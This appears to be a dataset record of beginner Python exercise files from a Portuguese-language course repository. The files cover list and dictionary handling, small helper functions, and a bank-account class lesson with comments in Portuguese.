obj_file or fieldend in [\"glitchEmotedText\"]:\n if thefile not in substitutions:\n substitutions[thefile] = dict()\n substitutions[thefile][field] = normpath(relpath(filename, prefix))\n oldfile = normpath(join(prefix, file_by_assets(thefile, field, oldsubs)))\n if exists(oldfile):\n olddata = []\n try:\n with open_n_decode(oldfile, 'r', 'utf-8') as f:\n olddata = load(f)\n except:\n pass # If can not get old translation for any reason just skip it\n for oldentry in olddata:\n if oldentry[\"Texts\"][\"Eng\"] == label:\n if \"DeniedAlternatives\" in oldentry:\n for a in oldentry[\"DeniedAlternatives\"]:\n if a not in translation[\"DeniedAlternatives\"]:\n insort_left(translation[\"DeniedAlternatives\"], a)\n translation[\"Texts\"].update(oldentry[\"Texts\"])\n break\n translation[\"Files\"] = files\n return (filename, translation, substitutions)\n\ndef prepare_to_write(database):\n file_buffer = dict()\n substitutions = dict()\n oldsubs = dict()\n print(\"Trying to merge with old data...\")\n try:\n with open_n_decode(sub_file, \"r\", 'utf-8') as f:\n oldsubs = load(f)\n except:\n print(\"No old data found, creating new database.\")\n for section, thedatabase in database.items():\n with Pool() as p: # Do it parallel\n result = p.imap_unordered(process_label,\n [(f, d, oldsubs, section) for f,d in thedatabase.items() ], 40)\n for fn, js, sb in result: # Merge results\n for fs, flds in sb.items():\n if fs not in substitutions:\n substitutions[fs] = flds\n else:\n substitutions[fs].update(flds)\n if fn not in file_buffer:\n file_buffer[fn] = list()\n file_buffer[fn].append(js)\n file_buffer[sub_file] = substitutions\n return file_buffer\n\ndef catch_danglings(target_path, file_buffer):\n to_remove = list()\n for subdir, dirs, files in walk(target_path):\n for thefile in files:\n fullname = normpath(join(subdir, thefile))\n if fullname not in file_buffer:\n to_remove.append(fullname)\n return to_remove\n\ndef write_file(filename, content):\n \n filedir = dirname(filename)\n if not filename.endswith(\"substitutions.json\"):\n content = sorted(content, key=lambda x: x[\"Texts\"][\"Eng\"])\n if len(filedir) > 0:\n makedirs(filedir, exist_ok=True)\n else:\n raise Exception(\"Filename without dir: \" + filename)\n with open_n_decode(filename, \"w\", 'utf-8') as f:\n dump(content, f, ensure_ascii=False, indent=2, sort_keys=True)\n #print(\"Written \" + filename)\n\ndef final_write(file_buffer):\n danglings = catch_danglings(join(prefix, \"texts\"), file_buffer)\n print(\"These files will be deleted:\")\n for d in danglings:\n print(' ' + d)\n print('continue? (y/n)')\n ans = get_answer(['y', 'n'])\n if ans == 'n':\n print('Cancelled!')\n return\n print('Writing...')\n with Pool() as p:\n delete_result = p.map_async(remove, danglings)\n write_result = p.starmap_async(write_file, list(file_buffer.items()))\n p.close()\n p.join()\n \n# Start here\nif __name__ == \"__main__\":\n thedatabase = construct_db(root_dir)\n #with open(\"testdb.json\", \"w\") as f:\n # dump(thedatabase, f, ensure_ascii=False, indent=2, sort_keys=True)\n file_buffer = prepare_to_write(thedatabase)\n #with open(\"testfb.json\", \"w\") as f:\n # dump(file_buffer, f, ensure_ascii=False, indent=2, sort_keys=True)\n final_write(file_buffer)\n" }, { "alpha_fraction": 0.47999998927116394, "alphanum_fraction": 0.47999998927116394, "avg_line_length": 15.666666984558105, "blob_id": "b2c8b6a110a21b992f3025d2a626988197613d7a", "content_id": "db5b7dd7d609a78298fb5860543e352d2905c299", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 50, "license_type": "permissive", "max_line_length": 26, "num_lines": 3, "path": "/tools/deploy.sh", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "cd \"new_mod\";\nzip ../Russian.zip -r \".\";\ncd \"..\";\n" }, { "alpha_fraction": 0.5673553943634033, "alphanum_fraction": 0.5685950517654419, "avg_line_length": 30.842105865478516, "blob_id": "9cf15235bb976fe4074309b99d7e10242e34208a", "content_id": "c95e5adb356b87d9058a6f8c2b4e8070ece047b3", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2420, "license_type": "permissive", "max_line_length": 74, "num_lines": 76, "path": "/tools/copy_denied.py", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "#!/bin/python\n\nfrom os import walk\nfrom os.path import join, relpath, normpath\nfrom json import load, dump\nfrom multiprocessing import Pool\n\noldpath = \"./experimental/translations\"\nnewpath = \"./translations\"\n\nsubstitutions = dict()\nwith open(join(newpath, \"substitutions.json\"),\"r\") as f:\n substitutions = load(f)\n \nfilestowrite = dict()\n\nfor subdir, dirs, files in walk(oldpath):\n for thefile in files:\n if (not thefile.endswith(\".json\")) or thefile == \"substitutions.json\":\n continue\n oldfile = join(subdir, thefile)\n objlist = {}\n try:\n with open(oldfile, \"r\") as f:\n objlist = load(f)\n except:\n print(\"Cann't load: \" + oldfile)\n continue\n for obj in objlist:\n if \"DeniedAlternatives\" not in obj:\n #print(\"No alternatives for: \" + oldfile)\n continue\n denied = obj[\"DeniedAlternatives\"]\n if len(denied) == 0:\n continue\n \n entext = obj[\"Texts\"][\"Eng\"]\n relfiles = obj[\"Files\"]\n for rlfile in relfiles.keys():\n #relfile = relpath(rlfile, \"assets\")\n relfile = rlfile\n thelist = [join(\"texts\", relfile + \".json\")]\n if relfile in substitutions:\n thelist += list(substitutions[relfile].values())\n for newfile in thelist:\n newfileobj = {}\n newfilename = normpath(join(newpath, newfile))\n if newfilename in filestowrite:\n newfileobj = filestowrite[newfilename]\n else:\n try:\n with open(newfilename, \"r\") as f:\n newfileobj = load(f)\n except:\n pass\n #print(\"Cann't read: \" + newfilename)\n #raise\n \n changed = False\n for i in range(0, len(newfileobj)):\n if not (newfileobj[i][\"Texts\"][\"Eng\"] == entext):\n continue\n if \"DeniedAlternatives\" not in newfileobj[i]:\n newfileobj[i][\"DeniedAlternatives\"] = list()\n for alt in denied:\n if alt in newfileobj[i][\"DeniedAlternatives\"]:\n continue\n newfileobj[i][\"DeniedAlternatives\"].append(alt)\n changed = True\n if changed:\n filestowrite[newfilename] = newfileobj\n \n \nfor newfilename, newfileobj in filestowrite.items():\n with open(newfilename, \"w\") as f:\n dump(newfileobj, f, ensure_ascii = False, indent = 2)\n" } ]
23
nooreldeenmagdy/2048-Game
https://github.com/nooreldeenmagdy/2048-Game
174a8b2b6204efa36dac21f6922693da2cf5abe4
6d5a321ffcc795124d4fba1543e8f1bc07aa481e
d872b8d5081122d9726f01689aed412360a5fef9
refs/heads/master
2023-05-11T21:04:24.042249
2021-06-04T14:55:15
2021-06-04T14:55:15
373,872,697
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5409836173057556, "alphanum_fraction": 0.7978141903877258, "avg_line_length": 35.599998474121094, "blob_id": "fd8eab28ef0c793881929df10072604c57cdede5", "content_id": "f5d96409f6523b0df61dffb3e5b2e3b8ca2c80de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 183, "license_type": "no_license", "max_line_length": 124, "num_lines": 5, "path": "/README.md", "repo_name": "nooreldeenmagdy/2048-Game", "src_encoding": "UTF-8", "text": "# 2048-Game\n\nA Simple 2048 Game using SimpleGUI (Pygame)\n\n![python_FEW3Dt9mUx](https://user-images.githubusercontent.com/74083059/120821090-71f97d00-c555-11eb-8a24-c342b86fe6bc.png).\n" }, { "alpha_fraction": 0.4778440594673157, "alphanum_fraction": 0.49872177839279175, "avg_line_length": 27.621952056884766, "blob_id": "c20a7ae7f7c07c81e2934220d84d5ff2c585cba9", "content_id": "9ac757cacf59fa47651363eab0a20e847e1bb78f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4694, "license_type": "no_license", "max_line_length": 93, "num_lines": 164, "path": "/2048_Game.py", "repo_name": "nooreldeenmagdy/2048-Game", "src_encoding": "UTF-8", "text": "\"\"\"\n2048 game.\n\"\"\"\n\nimport poc_2048_gui\nimport random\n\n# Directions, DO NOT MODIFY\nUP = 1\nDOWN = 2\nLEFT = 3\nRIGHT = 4\n\n# Offsets for computing tile indices in each direction.\n# DO NOT MODIFY this dictionary. \nOFFSETS = {UP: (1, 0), \n DOWN: (-1, 0), \n LEFT: (0, 1), \n RIGHT: (0, -1)} \n \ndef merge(line):\n \"\"\"\n Function that merges a single row or column in 2048.\n \"\"\"\n def end_zero(lst):\n \"\"\"\n move and put zeros in the end\n \"\"\"\n lstz=[]\n for dummy_i in range(len(lst)) :\n\n if lst[dummy_i] != 0 :\n lstz.append(lst[dummy_i])\n \n for dummy_i in range(len(lst)):\n if len(lstz)<len(lst):\n lstz.append(0)\n return lstz\n\n def add_tile(lst):\n \"\"\"\n add similar tiles\n \"\"\"\n for dummy_i in range(0,len(lst)-1):\n if lst[dummy_i] == lst[dummy_i+1]:\n lst[dummy_i] = lst[dummy_i]*2\n lst[dummy_i+1] = 0\n return lst\n\n lst_1 = end_zero(line)\n lst_2 = add_tile(lst_1)\n lst_3 = end_zero(lst_2)\n return lst_3\n\n\nclass TwentyFortyEight:\n \"\"\"\n Class to run the game logic.\n \"\"\"\n\n def __init__(self, grid_height, grid_width):\n self._height = grid_height\n self._width = grid_width\n self.reset()\n #stuff for the move method\n up_list = [(0, col) for col in range(self._width)]\n down_list = [(self._height-1, col) for col in range(self._width)]\n left_list = [(row, 0) for row in range(self._height)]\n right_list = [(row, self._width-1) for row in range(self._height)]\n self._move_dict = {UP:up_list, DOWN:down_list, LEFT:left_list, RIGHT:right_list}\n \n def reset(self):\n \"\"\"\n Reset the game so the grid is empty.\n \"\"\"\n self._grid = [[0 for dummy2 in range(self._width)] for dummy1 in range(self._height)]\n \n def __str__(self):\n \"\"\"\n Return a string representation of the grid for debugging.\n \"\"\"\n return str(self._grid)\n\n def get_grid_height(self):\n \"\"\"\n Get the height of the board.\n \"\"\"\n return self._height\n \n def get_grid_width(self):\n \"\"\"\n Get the width of the board.\n \"\"\"\n return self._width\n \n def move(self, direction):\n \"\"\"\n Move all tiles in the given direction and add\n a new tile if any tiles moved.\n \"\"\"\n direction_tiles = self._move_dict[direction]\n #print direction_tiles\n offset = list(OFFSETS[direction])\n \n times = 0\n if (direction == 1 or direction == 2):\n times = self._height\n elif (direction == 3 or direction == 4):\n times = self._width\n \n for current_tile in direction_tiles:\n tile = list(current_tile)\n temp_list = []\n temp_list.append(self.get_tile(tile[0], tile[1]))\n for dummy in range(times-1):\n tile[0] += offset[0]\n tile[1] += offset[1]\n temp_list.append(self.get_tile(tile[0], tile[1]))\n result = merge(temp_list)\n tile = list(current_tile)\n self.set_tile(tile[0], tile[1], result[0])\n for idx in range(1, times):\n tile[0] += offset[0]\n tile[1] += offset[1]\n self.set_tile(tile[0], tile[1], result[idx])\n \n self.new_tile()\n \n def new_tile(self):\n \"\"\"\n Create a new tile in a randomly selected empty \n square. The tile should be 2 90% of the time and\n 4 10% of the time.\n \"\"\"\n #randomly select an empty square\n selected = False\n count = self._width * self._height\n while (selected != True and count != 0):\n row = random.randint(0, self._height-1)\n col = random.randint(0, self._width-1)\n if self.get_tile(row, col) == 0:\n selected = True\n if (selected == True):\n probable_value = [2, 2, 2, 2, 2, 2, 2, 2, 2, 4]\n tile = random.choice(probable_value)\n self.set_tile(row, col, tile)\n count -= 1\n \n def set_tile(self, row, col, value):\n \"\"\"\n Set the tile at position row, col to have the given value.\n \"\"\" \n self._grid[row][col] = value\n \n def get_tile(self, row, col):\n \"\"\"\n Return the value of the tile at position row, col.\n \"\"\" \n #print row, col\n return self._grid[row][col]\n \n\n\npoc_2048_gui.run_gui(TwentyFortyEight(4, 4))\n" }, { "alpha_fraction": 0.6800000071525574, "alphanum_fraction": 0.8399999737739563, "avg_line_length": 25, "blob_id": "9289cf7ee41ec429755c0a169687475708ae1d78", "content_id": "9bf22ff8bfef178a9a53b24bb3b1cedcf910f2e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 25, "license_type": "no_license", "max_line_length": 25, "num_lines": 1, "path": "/requirements.txt", "repo_name": "nooreldeenmagdy/2048-Game", "src_encoding": "UTF-8", "text": "SimpleGUICS2Pygame==2.1.0" } ]
3
jcvirulant/work_log2
https://github.com/jcvirulant/work_log2
b3355ac67ed65eac6e01e6cea18aab6a89640315
7c0c83cc87436e29c86e7f6ad1c7a32025cedb63
dbe02855413c76862065f8220944abed7bac951a
refs/heads/master
2020-05-18T14:26:31.629730
2017-03-07T23:16:59
2017-03-07T23:16:59
84,246,414
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.625403642654419, "alphanum_fraction": 0.6286329627037048, "avg_line_length": 21.93827247619629, "blob_id": "e0e90930f2dfcd716bb1e247de325131c0d63803", "content_id": "a1d618134ab741dee3eb74ff58893d367cfa4735", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1858, "license_type": "no_license", "max_line_length": 77, "num_lines": 81, "path": "/work_log2.py", "repo_name": "jcvirulant/work_log2", "src_encoding": "UTF-8", "text": "#! usr/bin/jeffreycovington/work_log2\n\n\"\"\"\nWork Log with Database Project\n\nDate: 3/1/17\nAuthor: Jeffrey Covington\n\nDescription: This App is intended to be used as a work log to track Employees\nand their tasks that correspond to specific dates and durations. These\ntasks can be searched by any parameter including Employee Name, Task name,\nDate, Duration, or simply across all content.\n\nThe tasks may also be scrolled through, edited, and deleted from a SQlite DB\nusing the Peewee ORM.\n\n\"\"\"\n\nimport datetime\nimport os\nimport sys\n\n\nfrom peewee import *\n\n\nclass App:\n \"\"\"The Work Log with Database project for Unit 4\"\"\"\n\n def __init__(self):\n \"\"\"Create and Connect Database if it does not already exist\n connect database if already exists\"\"\"\n\n def menu(self):\n \"\"\"Menu to Add and Search Entries and Quit the App\"\"\"\n\n def clear(self):\n \"\"\"Clears the screen\"\"\"\n\n def quit(self):\n \"\"\"Quits the Instance\"\"\"\n\n def add_entry(self):\n \"\"\"Add an Entry\"\"\"\n\n def edit_entry(self):\n \"\"\"Edit an Entry\"\"\"\n\n def delete_entry(self):\n \"\"\"Delete an Entry\"\"\"\n\n def search_entry(self, search_query):\n \"\"\"Search an Entry\"\"\"\n\n def search_date(self):\n \"\"\"Search by Date MM/DD/YYYY\"\"\"\n\n def search_time(self):\n \"\"\"Search by Duration HH:MM\"\"\"\n\n def search_name(self):\n \"\"\"Search by Task Name\"\"\"\n\n def search_notes(self):\n \"\"\"Search within Notes\"\"\"\n\n def search_employee(self):\n \"\"\"Search by Employee Name\"\"\"\n\n def print_record(self):\n \"\"\"Prints one record at a Time\"\"\"\n\n def print_all_records(self):\n \"\"\"Prints all records in table format\"\"\"\n\n def set_employee(self):\n \"\"\"Select an Employee name from existing Database\"\"\"\n\n def create_employee(self):\n \"\"\"Create new Employee\"\"\"\n self.employee = Employee()\n" }, { "alpha_fraction": 0.6610942482948303, "alphanum_fraction": 0.6641337275505066, "avg_line_length": 18.939393997192383, "blob_id": "0942588793a97d2b1ec26b4d66a676af7b0e1168", "content_id": "d3187ad06311ce1a88095079e198e2bf58ac9672", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 658, "license_type": "no_license", "max_line_length": 62, "num_lines": 33, "path": "/logdb_class.py", "repo_name": "jcvirulant/work_log2", "src_encoding": "UTF-8", "text": "from collections import OrderedDict\nimport datetime\nimport sys\nimport os\n\nfrom peewee import *\n\ndb = SqliteDatabase(\"log.db\")\n\n\nclass Log(Model):\n class Meta:\n database = db\n\n\nclass Employee(Log):\n first_name = CharField()\n last_name = CharField()\n\n\nclass Task(Log):\n employee = ForeignKeyField(Employee, related_name='tasks')\n task_name = CharField(max=50)\n duration = DateTimeField(\"%h:%m\")\n date = DateTimeField()\n notes = TextField()\n timestamp = DateTimeField(default=datetime.datetime.now)\n date = DateTimeField(formats='%Y-%m-%d')\n\n\nif __name__ == '__main__':\n db.connect\n db.create_tables([Log], safe=True)\n" } ]
2
Italo-Neves/Python
https://github.com/Italo-Neves/Python
b04afa3f8a64f0a8935e21c4cd0ba6d5814ae7fb
3d09453af232e8676b1fa257a2d3e737623c85b1
85df5b9be4b84b36b22926183f94908542087557
refs/heads/master
2023-05-13T19:49:31.719532
2021-06-10T15:13:58
2021-06-10T15:13:58
261,048,554
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.5295698642730713, "alphanum_fraction": 0.5725806355476379, "avg_line_length": 16.761905670166016, "blob_id": "63a80a53fbe0d143adbcbd5b813a21ab6193c08a", "content_id": "667a641206031cc93b3a35aa996e553e14005c68", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 372, "license_type": "permissive", "max_line_length": 49, "num_lines": 21, "path": "/Curso-Em-Video/M3/mod108.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "def aumentar(preco =0, taxa=0):\n res = preco + (preco * taxa/100)\n return res\n\n\ndef diminuir(preco = 0 , taxa=0):\n res = preco - (preco * taxa/100)\n return res\n\n\ndef dobro(preco =0):\n res = preco * 2\n return res\n\n\ndef metade(preco =0):\n res = preco/ 2\n return res\n\ndef moeda(preco =0, moeda ='R$'):\n return f'{moeda}{preco:.2f}'.replace('.',',')" }, { "alpha_fraction": 0.5754923224449158, "alphanum_fraction": 0.5886214375495911, "avg_line_length": 27.5625, "blob_id": "9be1ae1f7c8a5d460f47f30886bdc9684fc402b1", "content_id": "e565a2275285257e71f67766ef267eb76be2ef6a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 461, "license_type": "permissive", "max_line_length": 88, "num_lines": 16, "path": "/Curso-Em-Video/M3/ex81.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nvetor = []\nc = 0\nwhile True:\n n = int(input('Digite um número: '))\n vetor.append(n)\n c += 1\n op = str(input('Deseja continuar? [S/N]')).upper()\n if op =='N':\n break\nprint(f'\\n Você digitou {c} elementos'\n f'\\n A ordem decrescente do vetor formado é {sorted(vetor,key=int,reverse=True)}')\nif 5 in vetor:\n print(f'\\n O valor 5 faz parte do vetor!')\nelse:\n print('\\n O valor 5 não faz parte do vetor!')\n" }, { "alpha_fraction": 0.6378600597381592, "alphanum_fraction": 0.6419752836227417, "avg_line_length": 39.5, "blob_id": "884490f27c2de84e25ce04322104d3e7e58c1c7e", "content_id": "925e2866ff9e9891255f4ce5b66bda12c5d8cf40", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 245, "license_type": "permissive", "max_line_length": 62, "num_lines": 6, "path": "/Curso-Em-Video/M1/form.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\ndia = int(input(\"Digite o dia do seu nascimento: \"))\nmes = str(input(\"Digite o mês de nascimento: \"))\nano = int(input(\"Digite o ano do seu nascimento: \"))\n\nprint(f'Você nasceu no dia {dia} de {mes} de {ano}. correto?')\n" }, { "alpha_fraction": 0.6201550364494324, "alphanum_fraction": 0.6294573545455933, "avg_line_length": 34.88888931274414, "blob_id": "6aad57c3bd77b77379fd278fb08d7ed60b482d93", "content_id": "5236badfdc9da856a9967c5fd231f4daaac2c477", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 645, "license_type": "permissive", "max_line_length": 93, "num_lines": 18, "path": "/Curso-Em-Video/M3/ex93.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "jogador = dict()\npartidas = list()\njogador['Nome'] = str(input('Nome do jogador: '))\njogador['gols'] = []\nqtd_p = int(input(f'Quantas partidas {jogador[\"Nome\"]} jogou?'))\nfor i in range(qtd_p):\n jogador['gols'].append(int(input(f'Quantos gols {jogador[\"Nome\"]} fez na partida {i}?')))\njogador['Total'] = sum(jogador['gols'])\nprint('=-'*30)\nprint(jogador)\nprint('=-'*30)\nfor k,v in jogador.items():\n print(f'O campo {k} tem o valor {v}')\nprint('-='*30)\nprint(f'O jogador {jogador[\"Nome\"]} jogou {qtd_p}')\nfor i,v in enumerate(jogador[\"gols\"]):\n print(f' =>Na partida {i}, fez {v} gols')\nprint(f'Foi um total de {jogador[\"Total\"]} gols')" }, { "alpha_fraction": 0.45086705684661865, "alphanum_fraction": 0.48554912209510803, "avg_line_length": 23.714284896850586, "blob_id": "31b8ddad46c7b22c6091f0aa61ad6cb8c66924ac", "content_id": "3a5950d9697c8293f870a41a3f18cd11e7282600", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 175, "license_type": "permissive", "max_line_length": 43, "num_lines": 7, "path": "/Curso-Em-Video/M2/ex50.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\ns = 0\nfor i in range(0,7):\n n = int(input('Digite um número: '))\n if n % 2 != 0:\n s += n\nprint(f'A soma de todos os impares é: {s}')\n" }, { "alpha_fraction": 0.46268656849861145, "alphanum_fraction": 0.49253731966018677, "avg_line_length": 21.33333396911621, "blob_id": "e7964edc9743eb5fb1400fc5a9462917a95251cd", "content_id": "2ea5273282d352580145f321119c365045036fc4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 134, "license_type": "permissive", "max_line_length": 36, "num_lines": 6, "path": "/Curso-Em-Video/M2/ex49.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn = int(input('Digite um numero: '))\n\nfor i in range(0,11):\n mult = i * n\n print(f'{n} X {i} = {mult}')\n" }, { "alpha_fraction": 0.5352112650871277, "alphanum_fraction": 0.591549277305603, "avg_line_length": 27.399999618530273, "blob_id": "0603fe73b73d25cbfbdf7b652047d68c3e04e675", "content_id": "b9b9fddea7bf0ee3056f22da1375d7444dfe9f8b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 142, "license_type": "permissive", "max_line_length": 49, "num_lines": 5, "path": "/Curso-Em-Video/M1/ex08.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nx = int(input(\"Digite o valor em metros: \"))\ncm = x*100\nmm = x*1000\nprint(f'O valor {x}m equivale a {cm}cm e {mm}mm')\n" }, { "alpha_fraction": 0.6764705777168274, "alphanum_fraction": 0.6801470518112183, "avg_line_length": 37.71428680419922, "blob_id": "57ea8070b172288686ebcaedd00f950c1232d50d", "content_id": "a7c977f7d3b8b92b2ef35533ac44e055b3b27960", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 278, "license_type": "permissive", "max_line_length": 80, "num_lines": 7, "path": "/Curso-Em-Video/M1/tiposPrimitivos.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn = input(\"Digite um numero: \")\n\"\"\"* A função isnumeric() verifica se a variavel representa um valor númerico e \n retorna uma resposta booleana\n * A função isalpha() verifica se a variavei é uma letra ou uma string \n\"\"\"\nprint(n.isnumeric())\n\n" }, { "alpha_fraction": 0.6379593014717102, "alphanum_fraction": 0.6553477644920349, "avg_line_length": 47.00787353515625, "blob_id": "c5cba01f17ba258364d7f408cfc7de59db877afb", "content_id": "9dfbb4b127dc97928ec1c4aa2594a74e6e86b659", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6136, "license_type": "permissive", "max_line_length": 137, "num_lines": 127, "path": "/Paradigmas_Program/aula02.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\" CEUB - Ciência da Computação - Prof. Barbosa\nAtalho de teclado: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha\n\n- Valor default\nQuando declaramos as variáveis na classe Conta, aprendemos que podemos atribuir um valor padrão\npara cada uma delas. Então, atribuo um valor padrão ao limite, por exemplo, 1000.0 reais.\n\n- Agregação\nAumente a classe Conta, adicione os atributos nome, sobrenome e cpf do titular da conta.\nDesvantagem:\nFicamos como muitos atributos e uma Conta não tem os atributos nome, sobrenome e cpf,\nMas, esses atributos são de Cliente e não da Conta\nAssim, criamos uma nova classe e fazemos uma agregação, ou seja,\nagregar um cliente a conta.\nPortanto, a classe Conta tem um Cliente.\nOs atributos de uma Conta também podem ser referência (objeto) para outra classe.\n\n- Implemente:\n1- Crie a classe Cliente com os atributos nome, sobrenome e cpf.\n- Crie os métodos gets e sets.\n- Crie um objeto da classe Cliente, teste.\n- Crie o método nome_completo\n5- Em Conta, altere o atributo nome_cliente (string) para cliente, ele vai receber um objeto cliente.\n- Crie um objeto da classe Conta usando o objeto cliente criado\n- Mostre o endereço do objeto cliente criado\n- Mostre o endereço do objeto conta criado\n- Mostre o endereço do objeto cliente criado, usando o objeto conta.\n10- Mostre o nome, sobrenome e cpf usando o objeto cliente\n- Altere o nome do objeto cliente, teste.\n- Mostre o nome, sobrenome e cpf usando o objeto conta.\n- Altere o nome do objeto cliente usando o objeto conta, teste.\n- Consulte o extrato com os dados: número e saldo da conta\n15- Consulte o extrato com os dados: nome, sobrenome, cpf, número e saldo da conta\n- Mostre todos os dados do atributo titular da classe Conta\n- Use o método __class__ no objeto cliente\n- Use o método __class__.__name__ no objeto cliente\n- Mostre os atributos do objeto cliente com o método __dict__\n- Mostre os atributos do objeto cliente com o método vars \"\"\"\nclass Cliente(object): # class Cliente:\n def __init__(self, nome, sobrenome, cpf):\n self.nome = nome\n self.sobrenome = sobrenome\n self.cpf = cpf\n def get_nome(self):\n return self.nome\n def set_nome(self, novo_nome):\n self.nome = novo_nome\n def get_sobrenome(self):\n return self.sobrenome\n def get_cpf(self):\n return self.cpf\n def nome_completo(self):\n nc = f'{self.nome} {self.sobrenome}'\n return nc\nclass Conta: # class Conta(object):\n def __init__(self, numero, cliente, saldo, limite=1000.0): # O parãmetro cliente recebe um objeto da classe Cliente\n self.numero = numero\n self.titular = cliente # O atributo self.titular recebe o endereço do objeto cliente1\n self.saldo = saldo\n self.limite = limite\n def get_titular(self):\n return self.titular\n def get_titular_nome(self): # Consulta nome do cliente\n return self.titular.nome\n def set_titular_nome(self, novo_nome): # Altera nome\n self.titular.nome = novo_nome\n def get_titular_sobrenome(self):\n return self.titular.sobrenome\n def get_titular_cpf(self):\n return self.titular.cpf\n def get_saldo(self):\n return self.saldo\n def extrato(self):\n print(f\"Extrato 1:\\nNúmero: {self.numero}, Saldo: {self.saldo}\")\n # print(\"Extrato 1:\\nNúmero: {}, Saldo: {}\".format(self.numero, self.saldo))\n def extrato_2(self):\n print(f'Extrato 2:\\nNome: {self.titular.nome} {self.titular.sobrenome}, CPF: {self.titular.cpf}')\n print(\"Número: {}, Saldo: {}\".format(self.numero, self.saldo))\n def dados_titular(self):\n return self.titular.__dict__\n def deposito(self, valor):\n self.saldo += valor\n def saque(self, valor):\n if self.saldo + self.limite < valor:\n print('Saldo insuficiente.')\n return False\n else:\n self.saldo -= valor\n print('Saque realizado.')\n return True\n def transfere_para(self, destino, valor):\n retirou = self.saque(valor)\n if not retirou: # if retirou == False:\n print('Transferência não realizada')\n return False\n else:\n destino.deposito(valor)\n print('Transferência realizada com sucesso')\n return True\n\nif __name__ == '__main__': # mai <tab>\n cliente1 = Cliente('João', 'Oliveira', '1111111111-1') # Cria objeto da classe Cliente\n print('Nome:', cliente1.get_nome())\n conta1 = Conta('123-4', cliente1, 1200.0, 1000.0) # Cria objeto da classe Conta usando o objeto da classe Cliente\n print(cliente1) # <conta_agregacao.Cliente object at 0x000002B9DBA4AFD0>, o endereço do objeto cliente1\n print(conta1) # <conta_agregacao.Conta object at 0x000002B9DBA4AF70>\n print(conta1.get_titular()) # <conta_agregacao.Cliente object at 0x000002B9DBA4AFD0>, o endereço do atributo titular da classe Conta\n print('Nome:', cliente1.get_nome()) # Consulta usando a classe Cliente\n print('Sobrenome:', cliente1.get_sobrenome())\n print('CPF:', cliente1.get_cpf())\n cliente1.set_nome('Ana') # Altera o nome usando a classe Cliente\n print('Nome:', cliente1.get_nome())\n print('Nome completo:', cliente1.nome_completo())\n print('Nome:', conta1.get_titular_nome()) # Consulta usando a classe Conta\n print('Sobrenome:', conta1.get_titular_sobrenome())\n print('CPF:', conta1.get_titular_cpf())\n conta1.set_titular_nome('Alice') # Altera o nome usando a classe Conta\n print('Nome:', conta1.get_titular_nome())\n conta1.extrato()\n conta1.extrato_2()\n print('conta1.dados_titular():', conta1.dados_titular())\n print(conta1.get_titular()) # Retorna o endereço\n print('special method or dunder:')\n print(cliente1.__class__)\n print(cliente1.__class__.__name__)\n print(cliente1.__dict__) # Métodos semelhantes\n print(vars(cliente1))" }, { "alpha_fraction": 0.5135135054588318, "alphanum_fraction": 0.5405405163764954, "avg_line_length": 23.130434036254883, "blob_id": "97eeed42f08cf300165f5328cbfa53e2c236c1d8", "content_id": "9650e0cd5e6a2a829a0e84cdb5c23449a925d70d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 564, "license_type": "permissive", "max_line_length": 61, "num_lines": 23, "path": "/Curso-Em-Video/M3/ex78.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn1 = []\nmaior = 0\nmenor = 999999\nfor num in range(0,5):\n n = int(input(f'Digite um valor para a posição {num}: '))\n n1.append(n)\n if n > maior:\n maior = n\n if n < menor:\n menor = n\n\nprint(f' Você digitou: {n1}')\nprint(f' O maior número foi: {maior} nas posições ',end='')\nfor i, v in enumerate(n1):\n if v == maior:\n print(f'{i}...',end='')\nprint()\nprint( f' O menor número foi: {menor} nas posições ',end='')\nfor i, v in enumerate(n1):\n if v == menor:\n print(f'{i}...',end='')\nprint()\n" }, { "alpha_fraction": 0.616487443447113, "alphanum_fraction": 